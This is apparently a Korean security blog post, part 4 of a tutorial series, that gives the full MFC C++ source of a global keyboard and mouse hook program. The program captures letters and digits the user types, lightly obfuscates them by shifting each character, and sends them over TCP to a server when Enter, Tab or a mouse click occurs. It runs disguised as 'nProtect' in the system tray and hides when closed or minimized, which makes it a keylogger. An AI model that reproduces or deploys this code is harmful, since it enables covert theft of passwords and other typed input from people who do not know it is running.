본문 바로가기

Security/System Hacking

엑티브엑스 컨트롤을 이용한 후킹 프로그램 4. 후킹 구현

앞에서 만든 폼뷰(FormView)에 후킹을 해줄 기능을 구현해 준다.

 

 

// ChatFormView.cpp : 구현파일입니다.

//

 

#include "stdafx.h"

#include "GlobalHooking.h"

#include "ChatFormView.h"

#include <mmsystem.h>

#include "KeyHook.h"

 

// CChatFormView

 

IMPLEMENT_DYNCREATE(CChatFormView, CFormView)

 

CChatFormView::CChatFormView()

        : CFormView(CChatFormView::IDD)

        , list(_T(""))

{

        IsStart = false;      

        SockStart();

}

 

CChatFormView::~CChatFormView()

{

}

 

void CChatFormView::DoDataExchange(CDataExchange* pDX)

{

        CFormView::DoDataExchange(pDX);

        DDX_LBString(pDX, IDL_LIST, list);

        DDX_Control(pDX, IDL_LIST, c_list);

}

 

BEGIN_MESSAGE_MAP(CChatFormView, CFormView)

        ON_WM_CREATE()

        ON_MESSAGE(WM_HOOKED,HookedMessage)

        ON_MESSAGE(WM_HOOKEDM,HookedMMessage)

        ON_MESSAGE(WM_ICON_NOTIFY,OnTrayNotification)

        ON_WM_DESTROY()

        ON_BN_CLICKED(IDB_START, &CChatFormView::OnBnClickedStart)

        ON_COMMAND(IDM_EXIT, &CChatFormView::OnExit)

        ON_WM_CLOSE()

        ON_WM_SYSCOMMAND()

        ON_BN_CLICKED(IDB_MIN, &CChatFormView::OnBnClickedMin)

END_MESSAGE_MAP()

 

 

// CChatFormView 진단입니다.

 

#ifdef _DEBUG

void CChatFormView::AssertValid() const

{

        CFormView::AssertValid();

}

 

#ifndef _WIN32_WCE

void CChatFormView::Dump(CDumpContext& dc) const

{

        CFormView::Dump(dc);

}

#endif

#endif //_DEBUG

 

 

// CChatFormView 메시지처리기입니다.

 

BOOL CChatFormView::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext)

{

        // TODO: 여기에특수화된코드를추가및/또는기본클래스를호출합니다.

 

        return CFormView::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, nID, pContext);

}

void CChatFormView::SockStart()

{

        WSADATA wsaData;

        WSAStartup(MAKEWORD(2, 0), &wsaData);

 

        s = socket(AF_INET, SOCK_STREAM, 0); // TCP / IP

 

        SOCKADDR_IN addr;

        addr.sin_family = AF_INET; // 인터넷주소

        addr.sin_port = 4000;

//      addr.sin_addr.s_addr = inet_addr("192.168.34.69"); // 서버ip

        addr.sin_addr.s_addr = gethostip();

 

        int namelen = sizeof(addr);

       

        // 서버에접속을시도한다.

 

        if(connect(s, (SOCKADDR*)&addr, namelen) == -1){

 

               return;

        }

}

LRESULT CChatFormView::HookedMessage(WPARAM wParam, LPARAM lParam)

{

        int sendnum = 0;

        memset(buf,'\0',256);

        if((lParam & 0x80000000) == 0)

        {

               if(wParam >='A' && wParam <= 'Z')

               {

                       PushBuf(wParam);

               }

 

               if(wParam >='0' && wParam <= '9')

               {

                       PushBuf(wParam);

               }

              

               if((vi.size() != 0) && wParam == 9) //tab 입력받았을경우Send

               {

                       SendBuf();

               }

               if((vi.size() != 0) && wParam == 8) //백스페이스입력받았을때삭제

               {

                       vi.pop_back();

               }

               if((vi.size() != 0) && wParam == 13) //엔터키입력받았을때Send

               {

                       SendBuf();

               }

 

        }

        return LRESULT();

}

 

LRESULT CChatFormView::HookedMMessage(WPARAM wParam, LPARAM lParam)

{

        if((vi.size() != 0) && (wParam == WM_LBUTTONUP)) //마우스클릭시Send

        {

               SendBuf();

        }

 

        return LRESULT();

}

 

void CChatFormView::SendBuf()

{

        int j = vi.size();

        for(int i=0;i < j;i++)

        {

               buf[i] = vi[i];

        }

        send(s,buf,256,0);

        vi.clear();

}

 

void CChatFormView::PushBuf(WPARAM wParam)

{

        HWND hDlg = this->GetSafeHwnd();

        wsprintf(Mes2,TEXT("입력된키: %c, 변환된키: %c"),wParam,wParam+10);

        ::SendMessage(::GetDlgItem(hDlg,IDL_LIST),LB_ADDSTRING,0,(LPARAM)Mes2);

        wsprintfA(buf,"%c",wParam+10);

        vi.push_back(*buf);

}

 

LRESULT CChatFormView::OnTrayNotification(WPARAM wParam, LPARAM lParam)

{

        CMenu menu, *pSubMenu;

 

        // 오른쪽마우스버튼이눌렸을경우컨텍스트메뉴출력

        if (LOWORD(lParam) == WM_RBUTTONUP)

        {

               if (!menu.LoadMenu(IDR_NP))

               {

                       return 0;

               }

               if (!(pSubMenu = menu.GetSubMenu(0)))

               {

                       return 0;

               }

 

               CPoint pos;

               GetCursorPos(&pos);

               SetForegroundWindow();

               // 컨텍스트메뉴출력

               pSubMenu->TrackPopupMenu(TPM_RIGHTALIGN, pos.x, pos.y, this);

               menu.DestroyMenu();

        }

 

        // 왼쪽마우스버튼이더블클릭되었을경우

        else if (LOWORD(lParam) == WM_LBUTTONDBLCLK)

        {

               ShowWindow(SW_SHOW);

        }

       

        return LRESULT();

}

 

 

int CChatFormView::OnCreate(LPCREATESTRUCT lpCreateStruct)

{

        if (CFormView::OnCreate(lpCreateStruct) == -1)

               return -1;

 

        // TODO:  여기에특수화된작성코드를추가합니다.

        /////////////tray

        if(!m_TrayIcon.Create(this,WM_ICON_NOTIFY, _T("nProtect입니다"),NULL,IDI_NP))

        {

               return -1;

        }

        m_TrayIcon.SetIcon(IDI_NP);

        return 0;

}

 

void CChatFormView::OnDestroy()

{

        CFormView::OnDestroy();

 

        // TODO: 여기에메시지처리기코드를추가합니다.

        WSACleanup();

        UninstallHook();

}

 

void CChatFormView::OnBnClickedStart()

{

        // TODO: 여기에컨트롤알림처리기코드를추가합니다.    

        HWND hWnd = this->GetSafeHwnd();

        if(IsStart == false)

        {

               ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹중단"));

               InstallHook(hWnd);

               IsStart = true;

        }

        else

        {

               ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹시작"));

               UninstallHook();

               IsStart = false;

        }

}

 

LONG CChatFormView::gethostip()

{

        char name[256];

        gethostname(name,255);

        hostent *hten;

        hten =gethostbyname(name);

        return (LONG)hten[1].h_addr_list;

}

void CChatFormView::OnExit()

{

        // TODO: 여기에명령처리기코드를추가합니다.

        HWND hWnd = this->GetSafeHwnd();

        NOTIFYICONDATA nid;

        nid.cbSize = sizeof(NOTIFYICONDATA);

        nid.hWnd = hWnd;

        nid.uID = 0;

        Shell_NotifyIcon(NIM_DELETE,&nid);

        HMENU hTrayMenu=0, hMenu=0;

        DestroyMenu(hTrayMenu);

        DestroyMenu(hMenu);

 

        PostQuitMessage(0);

        OnDestroy();

}

 

void CChatFormView::OnClose()

{

        // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다.

        ShowWindow(SW_HIDE);

}

 

void CChatFormView::OnSysCommand(UINT nID, LPARAM lParam)

{

        // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다.

        if(nID == SC_MINIMIZE)

        {

               ShowWindow(SW_HIDE);

        }

        CFormView::OnSysCommand(nID, lParam);

}

 

 

void CChatFormView::OnBnClickedMin()

{

        // TODO: 여기에컨트롤알림처리기코드를추가합니다.

        ShowWindow(SW_HIDE);

}